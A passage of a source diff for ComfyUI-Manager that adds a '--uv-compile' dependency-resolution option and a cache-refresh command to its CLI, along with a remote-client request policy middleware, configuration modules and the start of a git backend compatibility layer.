processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
cnr = unified_manager.cnr_map.get(k)
if cnr:
ver_spec = v['latest_version']['version'] if 'latest_version' in v else '0.0.0'
processed[k] = "[ NOT INSTALLED ] ", cnr['name'], k, cnr['publisher']['name'], ver_spec
else:
processed[k] = None
else:
processed[k] = None
@@ -602,14 +634,20 @@ def for_each_nodes(nodes, act, allow_all=True, **kwargs):
nodes = [x for x in nodes if x.lower() not in ['comfy', 'comfyui', 'all']]
total = len(nodes)
i = 1
for x in nodes:
failed = []
for i, x in enumerate(nodes, 1):
try:
act(x, is_all=is_all, cnt_msg=f'{i}/{total}', **kwargs)
except NodeInstallError:
failed.append(x)
except Exception as e:
print(f"ERROR: {e}")
traceback.print_exc()
i += 1
failed.append(x)
if failed:
print(f"\n[bold red]Failed nodes ({len(failed)}/{total}): {', '.join(str(x) for x in failed)}[/bold red]")
sys.exit(1)
app = typer.Typer()
@@ -645,6 +683,14 @@ def install(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -656,11 +702,20 @@ def install(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, act=install_node, exit_on_fail=exit_on_fail)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Reinstall custom nodes")
@@ -687,6 +742,14 @@ def reinstall(
help="Skip installing any Python dependencies",
),
] = False,
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After reinstalling, batch-resolve all dependencies via uv pip compile",
),
] = False,
user_directory: str = typer.Option(
None,
help="user directory"
@@ -694,11 +757,20 @@ def reinstall(
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
if uv_compile and no_deps:
print("[bold red]--uv-compile and --no-deps are mutually exclusive.[/bold red]")
raise typer.Exit(1)
if uv_compile:
cmd_ctx.set_no_deps(True)
else:
cmd_ctx.set_no_deps(no_deps)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, act=reinstall_node)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Uninstall custom nodes")
@@ -743,14 +815,25 @@ def update(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After updating, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for x in nodes:
if x.lower() in ['comfyui', 'comfy', 'all']:
@@ -758,7 +841,8 @@ def update(
break
update_parallel(nodes)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(help="Disable custom nodes")
@@ -844,16 +928,28 @@ def fix(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After fixing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
if 'all' in nodes:
asyncio.run(auto_save_snapshot())
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for_each_nodes(nodes, fix_node, allow_all=True)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command("show-versions", help="Show all available versions of the node")
@@ -956,31 +1052,6 @@ def simple_show(
show_list(arg, True)
@app.command('cli-only-mode', help="Set whether to use ComfyUI-Manager in CLI-only mode.")
def cli_only_mode(
mode: str = typer.Argument(
..., help="[enable|disable]"
),
user_directory: str = typer.Option(
None,
help="user directory"
)
):
cmd_ctx.set_user_directory(user_directory)
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
if mode.lower() == 'enable':
with open(cli_mode_flag, 'w'):
pass
print("\nINFO: `cli-only-mode` is enabled\n")
elif mode.lower() == 'disable':
if os.path.exists(cli_mode_flag):
os.remove(cli_mode_flag)
print("\nINFO: `cli-only-mode` is disabled\n")
else:
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
exit(1)
@app.command(
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
@@ -1075,7 +1146,7 @@ def save_snapshot(
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
def restore_snapshot(
snapshot_name: str,
snapshot_name: str,
pip_non_url: Optional[bool] = typer.Option(
default=None,
show_default=False,
@@ -1101,13 +1172,24 @@ def restore_snapshot(
restore_to: Optional[str] = typer.Option(
None,
help="Manually specify the installation path for the custom node. Ignore user directory."
)
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
if restore_to:
cmd_ctx.update_custom_nodes_dir(restore_to)
if uv_compile:
cmd_ctx.set_no_deps(True)
extras = []
if pip_non_url:
extras.append('--pip-non-url')
@@ -1128,14 +1210,17 @@ def restore_snapshot(
print(f"[bold red]ERROR: `{snapshot_path}` is not exists.[/bold red]")
exit(1)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
try:
asyncio.run(core.restore_snapshot(snapshot_path, extras))
except Exception:
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
traceback.print_exc()
if uv_compile:
pip_fixer.fix_broken()
raise typer.Exit(code=1)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(
@@ -1145,10 +1230,21 @@ def restore_dependencies(
user_directory: str = typer.Option(
None,
help="user directory"
)
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After restoring, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
if uv_compile:
cmd_ctx.set_no_deps(True)
node_paths = []
for base_path in cmd_ctx.get_custom_nodes_paths():
@@ -1160,13 +1256,14 @@ def restore_dependencies(
total = len(node_paths)
i = 1
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for x in node_paths:
print("----------------------------------------------------------------------------------------------------")
print(f"Restoring [{i}/{total}]: {x}")
unified_manager.execute_install_script('', x, instant_execution=True)
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
i += 1
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
@app.command(
@@ -1179,7 +1276,7 @@ def post_install(
):
path = os.path.expanduser(path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
unified_manager.execute_install_script('', path, instant_execution=True)
pip_fixer.fix_broken()
@@ -1207,9 +1304,21 @@ def install_deps(
None,
help="user directory"
),
uv_compile: Annotated[
Optional[bool],
typer.Option(
"--uv-compile",
show_default=False,
help="After installing, batch-resolve all dependencies via uv pip compile",
),
] = False,
):
cmd_ctx.set_user_directory(user_directory)
cmd_ctx.set_channel_mode(channel, mode)
if uv_compile:
cmd_ctx.set_no_deps(True)
asyncio.run(auto_save_snapshot())
if not os.path.exists(deps):
@@ -1219,24 +1328,124 @@ def install_deps(
with open(deps, 'r', encoding="UTF-8", errors="ignore") as json_file:
try:
json_obj = json.load(json_file)
except:
except Exception:
print(f"[bold red]Invalid json file: {deps}[/bold red]")
exit(1)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, core.manager_files_path)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
for k in json_obj['custom_nodes'].keys():
state = core.simple_check_custom_node(k)
if state == 'installed':
continue
elif state == 'not-installed':
asyncio.run(core.gitclone_install(k, instant_execution=True))
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
else: # disabled
core.gitclone_set_active([k], False)
pip_fixer.fix_broken()
_finalize_resolve(pip_fixer, uv_compile)
print("Dependency installation and activation complete.")
def _finalize_resolve(pip_fixer, uv_compile) -> None:
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
if uv_compile:
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
else:
pip_fixer.fix_broken()
def _run_unified_resolve():
"""Shared logic for unified batch dependency resolution."""
from comfyui_manager.common.unified_dep_resolver import (
UnifiedDepResolver,
UvNotAvailableError,
attribute_conflicts,
collect_base_requirements,
collect_node_pack_paths,
)
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
if not node_pack_paths:
print("[bold yellow]No custom node packs found.[/bold yellow]")
return
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
resolver = UnifiedDepResolver(
node_pack_paths=node_pack_paths,
base_requirements=collect_base_requirements(comfy_path),
blacklist=cm_global.pip_blacklist,
overrides=cm_global.pip_overrides,
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
)
try:
result = resolver.resolve_and_install()
except UvNotAvailableError:
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
raise typer.Exit(1)
if result.success:
collected = result.collected
if collected:
print(
f"[bold green]Resolved {len(collected.requirements)} deps "
f"from {len(collected.sources)} source(s) "
f"(skipped {len(collected.skipped)}).[/bold green]"
)
else:
print("[bold green]Resolution complete (no deps needed).[/bold green]")
else:
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
if result.lockfile and result.lockfile.conflicts and result.collected:
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
if attributed:
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
for pkg_name, requesters in sorted(attributed.items()):
print(f" [yellow]{pkg_name}[/yellow]:")
for pack_path, pkg_spec in requesters:
print(f" {os.path.basename(pack_path)}{pkg_spec}")
raise typer.Exit(1)
@app.command(
"uv-sync",
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
)
def unified_uv_compile(
user_directory: str = typer.Option(
None,
help="user directory"
),
):
cmd_ctx.set_user_directory(user_directory)
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
try:
_run_unified_resolve()
except ImportError as e:
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
raise typer.Exit(1)
except typer.Exit:
raise
except Exception as e:
print(f"[bold red]Unexpected error: {e}[/bold red]")
raise typer.Exit(1)
finally:
pip_fixer.fix_broken()
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
def clear():
cancel()
@@ -1280,6 +1489,95 @@ def export_custom_node_ids(
print(f"{x['id']}@unknown", file=output_file)
@app.command("update-cache", help="Force-fetch all remote data and populate local cache (blocking)")
def update_cache(
channel: Annotated[
str,
typer.Option(
show_default=False,
help="Specify the channel"
),
] = None,
user_directory: str = typer.Option(
None,
help="user directory"
),
):
cmd_ctx.set_user_directory(user_directory)
if channel is not None:
cmd_ctx.channel = channel
asyncio.run(_force_update_cache(cmd_ctx.channel))
async def _force_update_cache(channel):
"""Fetch all remote data and save to cache, bypassing pip/offline guards."""
core.refresh_channel_dict()
config = core.get_config()
channel_url = config['channel_url']
os.makedirs(manager_util.cache_dir, exist_ok=True)
failed = []
# Step 1: Fetch channel JSON files directly (bypasses get_data_by_mode pip guard)
filenames = [
"custom-node-list.json",
"extension-node-map.json",
"model-list.json",
"alter-list.json",
"github-stats.json",
]
async def fetch_and_cache(filename):
try:
if config.get('default_cache_as_channel_url'):
uri = f"{channel_url}/{filename}"
else:
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
cache_uri = str(manager_util.simple_hash(uri)) + '_' + filename
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
json_obj = await manager_util.get_data(uri, silent=True)
with manager_util.cache_lock:
with open(cache_uri, "w", encoding='utf-8') as file:
json.dump(json_obj, file, indent=4, sort_keys=True)
print(f" [CACHED] {filename}")
except Exception as e:
print(f" [bold red][FAILED] {filename}: {e}[/bold red]")
failed.append(filename)
print("Fetching channel data...")
await asyncio.gather(*[fetch_and_cache(f) for f in filenames])
# Step 2: Reload unified_manager with remote mode
# cache_mode='remote' makes cache_mode==False in get_cnr_data,
# which bypasses the dont_wait block and triggers blocking fetch_all()
print("Fetching CNR registry data...")
try:
await unified_manager.reload('remote', dont_wait=False)
except Exception as e:
print(f" [bold red][FAILED] CNR registry: {e}[/bold red]")
failed.append("CNR registry")
# Step 3: Load nightly data (cache files now exist from Step 1)
print("Loading nightly data...")
await unified_manager.load_nightly(channel or 'default', 'cache')
if failed:
print(f"\n[bold red]Cache update incomplete. Failed: {', '.join(failed)}[/bold red]")
sys.exit(1)
else:
print("[bold green]Cache update complete.[/bold green]")
def main():
app()
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(app())
+4 -8
View File
@@ -2,20 +2,16 @@
This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
## Core Modules
## Directory Structure
- **glob/** - code for new cacheless ComfyUI-Manager
- **legacy/** - code for legacy ComfyUI-Manager
## Core Modules
- **manager_core.py**: The central implementation of management functions, handling configuration, installation, updates, and node management.
- **manager_server.py**: Implements server functionality and API endpoints for the web interface to interact with the backend.
- **manager_downloader.py**: Handles downloading operations for models, extensions, and other resources.
- **manager_util.py**: Provides utility functions used throughout the system.
## Specialized Modules
- **cm_global.py**: Maintains global variables and state management across the system.
- **cnr_utils.py**: Helper utilities for interacting with the custom node registry (CNR).
- **git_utils.py**: Git-specific utilities for repository operations.
- **node_package.py**: Handles the packaging and installation of node extensions.
- **security_check.py**: Implements the multi-level security system for installation safety.
- **share_3rdparty.py**: Manages integration with third-party sharing platforms.
## Architecture
+133
View File
@@ -0,0 +1,133 @@
import os
import logging
from aiohttp import web
from .common.manager_security import HANDLER_POLICY
from .common import manager_security
from comfy.cli_args import args
# Register server-push feature flag so ComfyUI_frontend (and other clients)
# can detect CSRF-POST backend capability as a semantic contract (vs version
# string parsing). See PR #2818 for context; clients use this flag to decide
# whether to invoke POST state-mutation endpoints. Manager versions prior to
# 4.2.1 do not set this flag — clients should treat its absence as
# 'incompatible with POST-only state-mutation endpoints'.
try:
from comfy_api import feature_flags as _core_feature_flags
_mgr_flags = (
_core_feature_flags.SERVER_FEATURE_FLAGS
.setdefault('extension', {})
.setdefault('manager', {})
)
_mgr_flags['supports_csrf_post'] = True
except ImportError:
# Older ComfyUI core without comfy_api.feature_flags module.
# Manager functions but clients will not observe the flag.
pass
def prestartup():
from . import prestartup_script # noqa: F401
logging.info('[PRE] ComfyUI-Manager')
def start():
logging.info('[START] ComfyUI-Manager')
from .common import cm_global # noqa: F401
if args.enable_manager:
if args.enable_manager_legacy_ui:
try:
from .legacy import manager_server # noqa: F401
from .legacy import share_3rdparty # noqa: F401
from .legacy import manager_core as core
import nodes
logging.info("[ComfyUI-Manager] Legacy UI is enabled.")
nodes.EXTENSION_WEB_DIRS['comfyui-manager-legacy'] = os.path.join(os.path.dirname(__file__), 'js')
except Exception as e:
# WI-V: upgraded silent `print` to a proper logging.error with
# traceback so future legacy-UI load failures are visible in
# the log, not swallowed. The original `print` could be lost
# depending on how stdout is captured.
import traceback
logging.error(
"[ComfyUI-Manager] Error enabling legacy frontend: "
f"{type(e).__name__}: {e}\n{traceback.format_exc()}"
)
core = None
else:
from .glob import manager_server # noqa: F401
from .glob import share_3rdparty # noqa: F401
from .glob import manager_core as core
if core is not None:
manager_security.is_personal_cloud_mode = core.get_config()['network_mode'].lower() == 'personal_cloud'
def should_be_disabled(fullpath:str) -> bool:
"""
1. Disables the legacy ComfyUI-Manager.
2. The blocklist can be expanded later based on policies.
"""
if args.enable_manager:
# In cases where installation is done via a zip archive, the directory name may not be comfyui-manager, and it may not contain a git repository.
# It is assumed that any installed legacy ComfyUI-Manager will have at least 'comfyui-manager' in its directory name.
dir_name = os.path.basename(fullpath).lower()
if 'comfyui-manager' in dir_name:
return True
return False
def get_client_ip(request):
peername = request.transport.get_extra_info("peername")
if peername is not None:
# Grab the first two values - there can be more, ie. with --listen
host, port = peername[:2]
return host
return "unknown"
def create_middleware():
connected_clients = set()
is_local_mode = manager_security.is_loopback(args.listen)
@web.middleware
async def manager_middleware(request: web.Request, handler):
nonlocal connected_clients
# security policy for remote environments
prev_client_count = len(connected_clients)
client_ip = get_client_ip(request)
connected_clients.add(client_ip)
next_client_count = len(connected_clients)
if prev_client_count == 1 and next_client_count > 1:
manager_security.multiple_remote_alert()
policy = manager_security.get_handler_policy(handler)
is_banned = False
# policy check
if len(connected_clients) > 1:
if is_local_mode:
if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NON_LOCAL in policy:
is_banned = True
if HANDLER_POLICY.MULTIPLE_REMOTE_BAN_NOT_PERSONAL_CLOUD in policy:
is_banned = not manager_security.is_personal_cloud_mode
if HANDLER_POLICY.BANNED in policy:
is_banned = True
if is_banned:
logging.warning(f"[Manager] Banning request from {client_ip}: {request.path}")
response = web.Response(text="[Manager] This request is banned.", status=403)
else:
response: web.Response = await handler(request)
return response
return manager_middleware
+6
View File
@@ -0,0 +1,6 @@
default::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main
recent::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/new
legacy::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/legacy
forked::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/forked
dev::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/dev
tutorial::https://raw.githubusercontent.com/Comfy-Org/ComfyUI-Manager/main/node_db/tutorial
+16
View File
@@ -0,0 +1,16 @@
# ComfyUI-Manager: Core Backend (glob)
This directory contains the Python backend modules that power ComfyUI-Manager, handling the core functionality of node management, downloading, security, and server operations.
## Core Modules
- **manager_downloader.py**: Handles downloading operations for models, extensions, and other resources.
- **manager_util.py**: Provides utility functions used throughout the system.
## Specialized Modules
- **cm_global.py**: Maintains global variables and state management across the system.
- **cnr_utils.py**: Helper utilities for interacting with the custom node registry (CNR).
- **git_utils.py**: Git-specific utilities for repository operations.
- **node_package.py**: Handles the packaging and installation of node extensions.
- **security_check.py**: Implements the multi-level security system for installation safety.
+17
View File
@@ -0,0 +1,17 @@
from .timestamp_utils import (
current_timestamp,
get_timestamp_for_filename,
get_timestamp_for_path,
get_backup_branch_name,
get_now,
get_unix_timestamp,
)
__all__ = [
'current_timestamp',
'get_timestamp_for_filename',
'get_timestamp_for_path',
'get_backup_branch_name',
'get_now',
'get_unix_timestamp',
]
@@ -6,10 +6,12 @@ import time
from dataclasses import dataclass
from typing import List
import manager_core
import manager_util
from . import context
from . import manager_util
import requests
import toml
import logging
base_url = "https://api.comfy.org"
@@ -22,7 +24,7 @@ async def get_cnr_data(cache_mode=True, dont_wait=True):
try:
return await _get_cnr_data(cache_mode, dont_wait)
except asyncio.TimeoutError:
print("A timeout occurred during the fetch process from ComfyRegistry.")
logging.info("A timeout occurred during the fetch process from ComfyRegistry.")
return await _get_cnr_data(cache_mode=True, dont_wait=True) # timeout fallback
async def _get_cnr_data(cache_mode=True, dont_wait=True):
@@ -47,9 +49,9 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
# Get ComfyUI version tag
if is_desktop:
# extract version from pyproject.toml instead of git tag
comfyui_ver = manager_core.get_current_comfyui_ver() or 'unknown'
comfyui_ver = context.get_current_comfyui_ver() or 'unknown'
else:
comfyui_ver = manager_core.get_comfyui_tag() or 'unknown'
comfyui_ver = context.get_comfyui_tag() or 'unknown'
if is_desktop:
if is_windows:
@@ -67,7 +69,10 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
form_factor = 'git-linux'
else:
form_factor = 'other'
from comfyui_manager.glob import manager_core
verbose = manager_core.get_config().get('verbose', False)
while remained:
# Add comfyui_version and form_factor to the API request
sub_uri = f'{base_url}/nodes?page={page}&limit=30&comfyui_version={comfyui_ver}&form_factor={form_factor}'
@@ -77,13 +82,13 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
for x in sub_json_obj['nodes']:
full_nodes[x['id']] = x
if page % 5 == 0:
print(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
if page % 5 == 0 and verbose:
logging.info(f"FETCH ComfyRegistry Data: {page}/{sub_json_obj['totalPages']}")
page += 1
time.sleep(0.5)
print("FETCH ComfyRegistry Data [DONE]")
logging.info("FETCH ComfyRegistry Data [DONE]")
for v in full_nodes.values():
if 'latest_version' not in v:
@@ -99,7 +104,7 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
if cache_state == 'not-cached':
return {}
else:
print("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
logging.info("[ComfyUI-Manager] The ComfyRegistry cache update is still in progress, so an outdated cache is being used.")
with open(manager_util.get_cache_path(uri), 'r', encoding="UTF-8", errors="ignore") as json_file:
return json.load(json_file)['nodes']
@@ -111,9 +116,9 @@ async def _get_cnr_data(cache_mode=True, dont_wait=True):
json_obj = await fetch_all()
manager_util.save_to_cache(uri, json_obj)
return json_obj['nodes']
except:
except Exception:
res = {}
print("Cannot connect to comfyregistry.")
logging.warning("Cannot connect to comfyregistry.")
finally:
if cache_mode:
is_cache_loading = False
@@ -210,6 +215,7 @@ def read_cnr_info(fullpath):
project = data.get('project', {})
name = project.get('name').strip().lower()
original_name = project.get('name')
# normalize version
# for example: 2.5 -> 2.5.0
@@ -221,6 +227,7 @@ def read_cnr_info(fullpath):
if name and version: # repository is optional
return {
"id": name,
"original_name": original_name,
"version": version,
"url": repository
}
@@ -236,8 +243,8 @@ def generate_cnr_id(fullpath, cnr_id):
if not os.path.exists(cnr_id_path):
with open(cnr_id_path, "w") as f:
return f.write(cnr_id)
except:
print(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
except Exception:
logging.error(f"[ComfyUI Manager] unable to create file: {cnr_id_path}")
def read_cnr_id(fullpath):
@@ -246,7 +253,7 @@ def read_cnr_id(fullpath):
if os.path.exists(cnr_id_path):
with open(cnr_id_path) as f:
return f.read().strip()
except:
except Exception:
pass
return None
+105
View File
@@ -0,0 +1,105 @@
import sys
import os
import logging
from . import manager_util
import toml
from .git_compat import open_repo
# read env vars
comfy_path: str = os.environ.get('COMFYUI_PATH')
comfy_base_path = os.environ.get('COMFYUI_FOLDERS_BASE_PATH')
if comfy_path is None:
try:
comfy_path = os.path.abspath(os.path.dirname(sys.modules['__main__'].__file__))
os.environ['COMFYUI_PATH'] = comfy_path
except Exception:
logging.error("[ComfyUI-Manager] environment variable 'COMFYUI_PATH' is not specified.")
exit(-1)
if comfy_base_path is None:
comfy_base_path = comfy_path
channel_list_template_path = os.path.join(manager_util.comfyui_manager_path, 'channels.list.template')
git_script_path = os.path.join(manager_util.comfyui_manager_path, "common", "git_helper.py")
manager_files_path = None
manager_config_path = None
manager_channel_list_path = None
manager_startup_script_path:str = None
manager_snapshot_path = None
manager_pip_overrides_path = None
manager_pip_blacklist_path = None
manager_batch_history_path = None
def update_user_directory(manager_dir):
global manager_files_path
global manager_config_path
global manager_channel_list_path
global manager_startup_script_path
global manager_snapshot_path
global manager_pip_overrides_path
global manager_pip_blacklist_path
global manager_batch_history_path
manager_files_path = manager_dir
if not os.path.exists(manager_files_path):
os.makedirs(manager_files_path)
manager_snapshot_path = os.path.join(manager_files_path, "snapshots")
if not os.path.exists(manager_snapshot_path):
os.makedirs(manager_snapshot_path)
manager_startup_script_path = os.path.join(manager_files_path, "startup-scripts")
if not os.path.exists(manager_startup_script_path):
os.makedirs(manager_startup_script_path)
manager_config_path = os.path.join(manager_files_path, 'config.ini')
manager_channel_list_path = os.path.join(manager_files_path, 'channels.list')
manager_pip_overrides_path = os.path.join(manager_files_path, "pip_overrides.json")
manager_pip_blacklist_path = os.path.join(manager_files_path, "pip_blacklist.list")
manager_util.cache_dir = os.path.join(manager_files_path, "cache")
manager_batch_history_path = os.path.join(manager_files_path, "batch_history")
if not os.path.exists(manager_util.cache_dir):
os.makedirs(manager_util.cache_dir)
if not os.path.exists(manager_batch_history_path):
os.makedirs(manager_batch_history_path)
try:
import folder_paths
update_user_directory(folder_paths.get_system_user_directory("manager"))
except Exception:
# fallback:
# This case is only possible when running with cm-cli, and in practice, this case is not actually used.
update_user_directory(os.path.abspath(manager_util.comfyui_manager_path))
def get_current_comfyui_ver():
"""
Extract version from pyproject.toml
"""
toml_path = os.path.join(comfy_path, 'pyproject.toml')
if not os.path.exists(toml_path):
return None
else:
try:
with open(toml_path, "r", encoding="utf-8") as f:
data = toml.load(f)
project = data.get('project', {})
return project.get('version')
except Exception:
return None
def get_comfyui_tag():
try:
with open_repo(comfy_path) as repo:
return repo.describe_tags()
except Exception:
return None
+18
View File
@@ -0,0 +1,18 @@
import enum
class NetworkMode(enum.Enum):
PUBLIC = "public"
PRIVATE = "private"
OFFLINE = "offline"
PERSONAL_CLOUD = "personal_cloud"
class SecurityLevel(enum.Enum):
STRONG = "strong"
NORMAL = "normal"
NORMAL_MINUS = "normal-minus"
WEAK = "weak"
class DBMode(enum.Enum):
LOCAL = "local"
CACHE = "cache"
REMOTE = "remote"
+940
View File
@@ -0,0 +1,940 @@
"""
git_compat.py — Compatibility layer for git operations in ComfyUI-Manager.
Wraps either GitPython (`git` module) or `pygit2`, depending on availability
and the CM_USE_PYGIT2 environment variable (set by Desktop 2.0 Launcher).
Exports:
USE_PYGIT2 — bool: which backend is active
GitCommandError — exception class for git command failures
open_repo(path) — returns a repo wrapper object
clone_repo(url, dest, progress=None) — clone a repository
get_comfyui_tag(repo_path) — get describe --tags output
setup_git_environment(git_exe) — configure git executable path
"""
import os
import re
import sys
from abc import ABC, abstractmethod
from collections import deque
from datetime import datetime, timezone, timedelta
# Snapshot of the user's global `http.proxy` (captured before the config
# search path is blanked under the pygit2 backend) so corporate proxy
# settings survive and can be passed explicitly to fetch/clone. None means
# "no proxy".
_HTTP_PROXY = None
def _to_https_url(url):
"""Rewrite an SSH-form git URL to its anonymous HTTPS equivalent.
Handles `git@host:owner/repo(.git)` and `ssh://git@host[:port]/owner/repo(.git)`.
A custom SSH port is dropped — the HTTPS endpoint of a hosting service
lives on the standard port regardless of its SSH port. Leading slashes in
the path part are collapsed so `git@host:/abs/path` does not yield a
double-slash URL. Returns the URL unchanged if it is not SSH-form, so
pygit2 clone/fetch of public repos never requires SSH credentials even
when a repo's own config stores an SSH origin.
"""
if not url:
return url
m = re.match(r"^ssh://git@([^:/]+)(?::\d+)?/(.+)$", url)
if m is None:
m = re.match(r"^git@([^:/]+):(.+)$", url)
if m:
return "https://%s/%s" % (m.group(1), m.group(2).lstrip("/"))
return url
# ---------------------------------------------------------------------------
# Backend selection
# ---------------------------------------------------------------------------
_PYGIT2_REQUESTED = os.environ.get('CM_USE_PYGIT2', '').strip() == '1'
USE_PYGIT2 = _PYGIT2_REQUESTED
if not USE_PYGIT2:
try:
import git as _git
_git.Git().execute(['git', '--version'])
except Exception:
USE_PYGIT2 = True
if USE_PYGIT2:
try:
import pygit2 as _pygit2
except ImportError:
# pygit2 not available either — fall back to GitPython and let it
# fail at the point of use, preserving pre-existing behavior.
USE_PYGIT2 = False
_PYGIT2_REQUESTED = False
import git as _git
else:
# Disable owner validation once at import time.
# Required for Desktop 2.0 standalone installs where repo directories
# may be owned by a different user (e.g., system-installed paths).
# See CVE-2022-24765 for context on this validation.
_pygit2.option(_pygit2.GIT_OPT_SET_OWNER_VALIDATION, 0)
# Snapshot the global http.proxy BEFORE blanking the config search
# path, so a corporate proxy survives and can be passed explicitly
# to clone/fetch below.
try:
_global_cfg = _pygit2.Config.get_global_config()
try:
_HTTP_PROXY = _global_cfg["http.proxy"] or None
except Exception:
_HTTP_PROXY = None
except Exception:
_HTTP_PROXY = None
# Ignore system/global/XDG git config for libgit2 operations. A
# user's global config can carry `insteadOf` rewrites (e.g.
